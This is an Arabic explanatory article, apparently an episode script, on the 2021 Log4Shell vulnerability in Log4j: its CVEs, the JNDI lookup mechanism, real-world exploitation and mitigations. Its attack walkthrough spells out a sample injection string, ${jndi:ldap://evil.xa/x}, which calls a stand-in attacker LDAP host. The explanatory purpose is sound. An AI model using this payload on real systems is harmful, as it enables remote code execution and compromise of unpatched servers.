الحادثة#5:الجائحة السيبرانية لوغ4شيل LOG4SHELL Cyber Pandemic

الجائحة السيبرانية Log4Shell

لوغ4شيل log4shell او ثغرة log4j ,,,, ثغرة هزت عالم الأمن السيبراني. واحدة من اخطر الثغرات في التاريخ والتي اكتشفت قبل عامين ومازال يتم استغلالها الى الان، وهي ثغرات أمنية خطيرة في مكتبة البرمجة “لوغ4جي” software library المنتشرة بشكل كبير وعنصر اساسي في برمجيات الجافا. تم الكشف عن اسلوب ,وتقنية اختراق هذه الثغرة لأول مرة في مؤتمر “بلاك هات” عام 2015، لكن تلك المحاضرة لم تحظ بشهرة واسعة وقتها, حيث لم تكتشف ثغرة log4shell الا في عام 2021, عندما قرر احدهم اختراق لعبة “ماينكرافت” الشهيرة, والمكتوبة بلغة جافا, اي بعد ست سنوات من تبيان اسلوب الاختراق… ثلاثة بلايين جهاز وسيرفر تعمل بالجافا حول العالم, شكلت هذه الثغرة فشلاً متعدد المستويات في الأمن السيبراني.

في هذه الحلقة، سنكتشف كيف أن هذه الثغرة البسيطة في مكتبة شائعة الاستخدام صغيرة الحجم وايضا المفتوحة المصدر open source يمكن أن تشكل تهديدًا هائلا على الأمن السيبراني عالمياً.

تعريف بمكتبة log4j والثغرة

لغة الجافا تُعد من أقدم وأشهر لغات البرمجة المستخدمة على مستوى العالم. الشركات تستمر في استثماراتها الضخمة في جافا، حيث يُقدر أن حوالي 70% من الشركات تعمل حالياً على تطوير تطبيقات جافا بشكل كامل. تُستخدم جافا في العديد من المجالات مثل تطبيقات الويب، والموبايل والتطبيقات المؤسسية والمصرفية، الألعاب، تكنولوجيا البيانات الضخمة، التطبيقات العلمية وغيرها. وفقاً لتقرير من شركة veracode العالمية، في عام 2021، كان 88% من الشركات حول العالم تستخدم تطبيقات JAVA تحتوي على مكتبة log4j، مما يبرز مدى الانتشار الواسع لهذه اللغة وأهميتها.

لوغ4جي عبارة عن مكتبة برمجية او بكلمات اخرى قطعة من الكود المستخدمة والمشتركة بين معظم برامج الجافا لتدوين السجلات, لذلك نطاق هذه الثغرة ضخم جدا ولا يمكن حصره بشكل عام. وفقا لتقديرات مجتمعات الامن السيبراني على البرامج الضخمة والمؤسسية فانه يقدر ان هناك 250 مزود خدمة عالمي و 1142 منتج عالمي متأثر بهذه الثغرة, يمكن القول ان معظم منتجات الشركات الكبيرة تاثرت ك oracle vmware cisco Amazon Microsoft IBM وغيرها, وايضا معظم البرامج التي تستخدم لغة الجافا تأثرت. بسبب هذا الانتشار الضخم مازالت هذه الثغرة هدفا للعدبد من الهحمات الى اليوم. كما اكتشف مؤخرا ان المجموعة الشهيرة لازاروس تستخدم هذه الثغرة لتحميل برامج تجسس ضارة.

تعتبر مكتبة “لوغ4جي”، التي طورها سيكي جولكو في عام 2001، واحدة من أبرز مشاريع مؤسسة أباتشي للبرمجيات المفتوحة المصدر. تلعب هذه المكتبة دورًا حيويًا في عالم البرمجة بفضل قدرتها على تسجيل البيانات المختلفة داخل التطبيقات service logging، مما يجعلها أداة لا غنا عنها لمطوري الجافا. وعلى الرغم من ظهور أطر عمل جديدة للتسجيل، إلا أن “لوغ4جي” ما زالت تحتفظ بشعبيتها الواسعة نظرًا لموثوقيتها وسهولة استخدامها. وقد اكتسبت هذه المكتبة شهرة عالمية بعد اكتشاف ثغرات “لوغ4شيل” من قبل تشن تشاوجون من فريق أمن السحابة في شركة علي بابا، حيث أثارت هذه الثغرة الأمنية ضجة كبيرة في عالم الأمن السيبراني وتعين لها تقييم 10.0 للثغرة الاولى كثغرة حرجة الحطورة على معيار CVSS وأصبحت محور تركيز العديد من المؤسسات الأمنية والمقالات التحليلية.

يجب الاشارة ايضا ان ثغرة لوج4جي هي سلسلة ومجموعة ثغرات ظهرت بشكل متتابع في تلك الفترة في ديسيمبر من عام 2021 وتحمل الارقام ودرجات الخطورة التالية

CVE الوصف نسخة الإصلاح معدل CVSS
CVE-2021-44228 تنفيذ كود عن بُعد عبر ميزات JNDI. تم تعطيل هذا السلوك بشكل افتراضي في 2.15.0 وتمت إزالته بالكامل في الإصدارات 2.16.0 وما بعدها. 2.15.0 10.0
CVE-2021-45046 ثغرة تسمح بتسرب المعلومات أو تنفيذ الكود عن بُعد في بعض الإعدادات. تم إصلاحها في 2.16.0 و 2.12.2. 2.16.0 9.0
CVE-2021-45105 إنكار الخدمة من خلال حلقة تكرار لا نهاية. تم إصلاحها في الإصدار 2.17.0. 2.17.0 5.9
CVE-2021-44832 هجوم تنفيذ كود عن بُعد عند استخدام JDBC Appender مع URI لمصدر بيانات JNDI LDAP. تم إصلاحها بتحديد أسماء مصادر البيانات JNDI إلى بروتوكول java في الإصدارات 2.17.1 وما بعدها. 2.17.1 8.5
CVE-2021-4104 تنفيذ كود عن بُعد عبر JMSAppender في Log4j 1.2. يؤثر فقط على Log4j 1.2 عند تكوينها خصيصًا لاستخدام JMSAppender. - 7.5

لوغ4شيل"، التي تم الكشف عنها رسميًا في 9 ديسمبر 2021، هي ثغرة تنفيذ الاوامر عن بُعد (RCE) تؤثر على مكتبة “لوغ4جي” من الإصدار 2.0 إلى 2.14.1. تكمن الثغرة في كيفية خدمة التسجيل logging مع خاصية في الجافا تسمى JNDI الخاصة بالأسماء والدليل في جافا.

حيث ان تفعيل خاصية JNDI على مكتبة التسجيل log4j ادى الى انشاء هذه الثغرة حبث اصبحت المتغيرات الخاصة ب JNDI يمكن التحكم بها من خلال المستخدم او المخترق. الوظيفة الاساسية لمكتبات التسجيل كلوغ4جيه هي تسجيل البيانات ومنها بشكل كبير ما يرد من عمليات استخدام للتطبيق تنشء من خلال المستخدم, لكن مع تفعيل JNDI اصبح يمكن تنفيذ اوامر من خلال عملية التسجيل http logging!

خاصية JNDI (Java Naming and Directory Interface) في جافا هي واجهة برمجة تسمح بالوصول إلى خدمات الأسماء والدليل في تطبيقات جافا يمكن تشبيهها بدليل الهاتف او DNS لاستبدال الاسماء بارقام او رموز. تُستخدم للبحث والاستعلام عن البيانات والموارد داخل البرامج، مثل البحث في قاعدة بيانات LDAP أو الوصول إلى موارد JMS. كان من السهل نسبيًا على المهاجمين استغلال هذه الثغرة، مما أدى إلى تعرض العديد من الأنظمة للاختراق بسرعة كبيرة

لمعالجة هذه الثغرة، تم إصدار تحديثات لمكتبة Log4j تمنع استدعاء الرسائل المسجلة كأوامر JNDI. اصلاح ثغرات لوغ4شيل كلف مئات الملايين من الدولارات بسبب الانتشار الضخم ووفقا لبعض التقارير ان 58% من المؤسسات والشركات قد اصيبت بهذه الثغرة من برامج الجافا!

يتضح أن السبب الرئيسي لثغرة لوغ4شيل يعود إلى التصميم غير الآمن لخاصية التسجيل في مكتبة الجافا. كانت محاولات تعقيد تصميم عملية التسجيل، التي كان ينبغي أن تتعلق بوظيفة محددة وبسيطة، سببًا في فتح باب الثغرة. لم يكن هناك حاجة لإضافة ميزات جديدة خارج نطاق وظيفة التسجيل الأساسية. المشكلة كانت في الخلط بين وجود البيانات المجردة Data والأوامر التي يمكن تنفيذها commands في نفس المكان، أي في ملفات التسجيل log files. هذا التداخل يمثل خللاً كبيرًا في التصميم، مما أدى إلى هذه الثغرة الأمنية الكبيرة.

التسلسل الزمني لثغرة log4shell

1- 2002: تم إنشاء مكتبة Log4j بواسطة Ceki Gülcü لتصبح المكتبة الاكثر استخداما في جافا 2- 2013: تم انشاء كود ضار يسمح بعمليات البحث JNDI في Log4j النسخة رقم 2.0 3- 2014: قدم Log4j خيار الاعداد لتعطيل عمليات البحث JNDI بسبب المخاوف الأمنية! 4- 2021 نوفيمبر: اكتشاف الثغرة من قبل الباحث في شركة علي بابا الصينية من غير اعلان رسمي عنها وارسلت لفرق اباتشي لاصلاحها للتبليغ عن الثغرة بشكل مسؤول, ظهرت شائعات في اواخر نوفيمبر على وجود ثغرة حرجة تمكن من اختراق لعبة ماينكرافت الشهيرة. 4- 2021 ديسيمبر: تم الاعلان الرسمي عنها وتقديم تصحيح معالج لها في ديسيمبر.

تقنية الاختراق

يمكن للمهاجم استغلال “لوغ4شيل” من خلال إرسال اكسبلويت كود استغلال معد بشكل خاص إلى نظام مطور بالجافا يتسبب في تنفيذ النظام للاوامر عن بعد لتعطي المخترق تحكم كامل على الاجهزة المصابة. يسمح هذا الطلب للمهاجم بالسيطرة الكاملة على النظام، ومن ثم يمكنه سرقة المعلومات، نشر برامج الفدية، أو القيام بأنشطة ضارة أخرى. هذا الاكسبلويت لا يتطلب صلاحيات دخول لتنفيذه اي من نوع unauthenticated RCE.

يعمل الاكسبلويت على حقن ملفات التسجيل log files بارسال طلبات مصممة خصيصًا في رسالة سجل يتم معالجتها بواسطة Log4j تقوم بتفعيل خاصية JNDI. يقوم بتنزيل وتنفيذ تعليمات برمجية ضارة ويعطي تحكم عن بعد للمخترق.

بعد عملية الحقن الناجح لملفات السجل تصبح الثغرة من نوع Insecure Deserialization. يكثر في الجافا استخدام تقنية serialization / deserialization بكثرة في عملية تناقل المعلومات بين البرامج المنفصلة, خصوصا في تناقل معلومات على شكل Object في object oriented programming حيث عند استقبال المعلومات من طرف خارجي وعدم التحقق وفحصها امنيا, يؤدي ذلك لاضرار كبيرة علر البرمجيات. لتتخيل معي السيناريو التالي الذي يمكن استعارته للتشبيه بهذا النوع من الهجوم:

يشبه إلى حد ما فتح صندوق البريد، ولكنه يحدث مع البرامج والبيانات بدلاً من الرسائل الورقية. البرنامج يتلقى “طردًا” من برنامج آخر يحتوي على بيانات، ويقوم “بفتح الطرد” واستخراج المعلومات واستخدامها. الثغرة: تكمن المشكلة في أنه إذا كان “الطرد” مصمماً بشكل خبيث، فقد يحتوي على تعليمات ضارة مخفية بجانب البيانات المهمة. وعندما يفتح البرنامج الطرد ويستخرج المعلومات، قد ينفذ أيضًا التعليمات الضارة دون قصد، مما يمنح المهاجم السيطرة على النظام.

يعمل الهجوم عن طريق حقن سلسلة او ارسال طرد من خلال JNDI.

  1. يقوم المهاجم بإدخال بحث JNDI في موقع من المحتمل تسجيله من قبل التطبيق, مثلا HTTP Header. على سبيل المثال ، قد يضيف المهاجم السلسلة ${jndi:ldap://evil.xa/x} على المكان الخاص في معلومة http agent
  2. يتم تمرير السلسلة إلى Log4j للتسجيل.
  3. يستدعي Log4j السلسلة ويستعلم خادم LDAP الضار الذي قام بتسجيله.  ldap://evil.xa/x ، وهو طلب إلى خادم LDAP في موقع متحكم به من قبل هاكر evil.xa.
  4. يستجيب خادم LDAP بمعلومات دليل تحتوي على فئة Java الضارة معد خصيصا لارسال serialized object ضار.
  5. يقوم برنامج الجافا باستقبال الكود الضار وتنفيذه.

سنكتفي بهذا القدر من التحليل التقني للثغرة لتناسب الشريحة الاكبر من المستمعين, بامكانكم الرجوع للتالي للاستزادة بكيفية فحص واستغلال الثغرة

هناك عدد من الخطوات التي يمكن القيام بها لمعالجة ثغرة Log4Shell ، بما في ذلك:

  • تحديث Log4j إلى إصدار آمن. أصدرت مؤسسة Apache Software Foundation عددًا من الإصدارات المحمية من Log4j. يمكنك العثور على مزيد من المعلومات حول كيفية تحديث Log4j على موقع Apache الإلكتروني.
  • تعطيل عمليات البحث JNDI في Log4j. يمكنك تعطيل عمليات البحث JNDI في Log4j عن طريق تعيين الخاصية system log4j2.format.lookup.disabled إلى true.
  • منع الهجوم باستخدام جدار حماية تطبيق الويب (WAF). يمكن استخدام WAF لمنع الهجوم عن طريق منع تمرير السلاسل الضارة إلى Log4j.

تاثير وتداعيات الثغرة

لا يمكن حصر الضرر الذي نتج او قد يحصل من هذه الثغرة الواسعة الانتشار, ثغرة لوغ4شيل تتطلب جهدا معين لاصلاحها الذي كلف مئات ملايين الدولارات , وهي سهلة الاختراق المباشر, مما يبرز الطبيعة الممتدة للتهديد لذلك يتوقع ان يبقى اثرها وضررها قائما لسنوات عديدة. هجمات ضخمة متعلقة رصدت في الايام الاولى عقب الافصاح عن الثغرة ، لكن ابرز الحوادث التي نتجت:

استخدام الثغرة في تعدين العملات الرقمية وأنشطة البوت نت: استخدم القراصنة ثغرة Log4Shell في أنشطة غير قانونية مثل تعدين العملات الرقمية، وإنشاء شبكات البوت نت كبيرة، وتنفيذ هجمات الفدية. وأشارت عدة تقارير إلى النطاق الواسع لهذه الهجمات في الأيام التالية لكشف الثغرة​​.

هجمات على مؤسسات حكومية ودفاعية: تم الإبلاغ عن هجوم على وزارة الدفاع البلجيكية باستخدام ثغرة Log4Shell من قبل كاسبرسكي. لم يتم الكشف عن تفاصيل الهجوم، ولكن الحادثة أبرزت الأثر المحتمل للثغرة على الأمن القومي​​. تم ذكر هجوم على شبكة حكومية أمريكية من قبل مخترقين سيبرانيين من ايران باستخدام Log4Shell.

ظهر هذا الشهر ديسمبر من عام ٢٠٢٣ تقرير حديث ان مجموعة لازاروس المدعومة من حكومة كوريا الشمالية تشن هجمات تستهدف منظمات التصنيع والزراعة والأمن المادي التي لم تقم بإصلاح الثغرات في Log4j حتى الآن. على الرغم من توفر التصحيح قبل عامين، فإن ثغرة Log4Shell ما زالت نقطة انطلاق شائعة حتى بالنسبة للجهات المتقدمة. تم استغلال الثغرة من قبل المجموعة الكورية على VMware Horizon غير المصححة واستخدموا وصولهم لنشر برمجيات تجسسية

يجب الاشارة ان عملية الاستجابة لحادثة لوغ٤جي وتفعيل خطط الاستجابة للحوادث السيبرانية كان على مستواً عال بالاجمال سواءً من الحكومات ومجتمع الامن السيبراني والهيئات الارشادية والشركات. وهذا ادى لاستجابة سريعة وتعاون مشترك بين مختلف المنظمات مما ادى للتقليل من الخطر الناجم في وقتها لكن كما ذكرنا ما زال الخطر من هكذا نوع من الثغرات قائما.

الخاتمة

في تقرير أصدرته وزارة الأمن الداخلي الأمريكية، تم تسليط الضوء على عدة مشكلات نظامية في مجتمع البرمجيات مفتوحة المصدر، والتي ساهمت في ثغرة Log4j:

  1. نقص الممارسات الآمنة: تفتقر العديد من مشاريع البرمجيات مفتوحة المصدر إلى ممارسات آمنة موحدة في عملية تطوير البرمجيات، مما يمكن أن يؤدي إلى ظهور ثغرات أمنية.

  2. موارد محدودة: تعمل الكثير من مشاريع البرمجيات مفتوحة المصدر بموارد مالية وبشرية محدودة، مما يؤثر على قدرتها على تنفيذ تدابير أمان قوية ومراقبة وتحديث البرمجيات بشكل مستمر.

نظرًا لاستخدام البرمجيات مفتوحة المصدر على نطاق واسع، فإن الدعم والموارد المخصصة للحفاظ على أمان هذه المشاريع غالبًا ما تكون غير كافية. هذا يخلق ثغرات أمنية يمكن أن يكون لها تأثيرات واسعة النطاق، كما في حالة Log4j. يشير التقرير إلى ضرورة بذل جهود جماعية من قبل القطاعين العام والخاص لتوفير دعم وموارد أفضل لأمان البرمجيات مفتوحة المصدر. بدأت العديد من الشركات الكبرى مثل جوجل ومايكروسوفت في تخصيص الدعم وتبني المنظمات التي تدعم حماية البرمجيات مفتوحة المصدر مثل OWASP وOpenSSF.

أخيرًا، عانت العديد من المؤسسات في تحديد ثغرة لوغ4شيل في أنظمتها بسبب ضعف إدارة الأصول Asset Management، وخصوصًا تلك التي تفتقر إلى ممارسات مثل SBOM (قائمة مكونات البرمجيات). واجهت هذه المؤسسات صعوبات في تحديد الأنظمة المتأثرة بسرعة، مما أدى إلى تأخير في تحديد وتقييم وتخفيف مخاطر Log4Shell، مما تسبب في عواقب وخيمة.

References

https://www.veracode.com/blog/research/state-log4j-vulnerabilities-how-much-did-log4shell-change https://www.veracode.com/blog/security-news/58-orgs-are-using-vulnerable-version-log4j https://www.zdnet.com/article/belgian-defense-ministry-confirms-cyberattack-through-log4j-exploitation/ https://www.csoonline.com/article/1259949/lazarus-apt-attack-campaign-shows-log4shell-exploitation-remains-popular.html https://www.ncsc.gov.uk/information/log4j-vulnerability-what-everyone-needs-to-know https://medium.com/@CWE_CAPEC/neutralizing-your-inputs-a-log4shell-weakness-story-89954c8b25c9 https://www.theregister.com/2023/12/11/log4j_vulnerabilities/ https://securitylabs.datadoghq.com/articles/log4j-log4shell-vulnerability-overview-and-remediation/ https://www.seanmackert.com/blog/why-there-is-no-log4j-worm/ https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf https://www.youtube.com/watch?v=iI9Dz3zN4d8&t=341s&pp=ygUSbGl2ZW92ZXJmbG93IGxvZzRq https://www.youtube.com/watch?v=w2F67LbEtnk&t=80s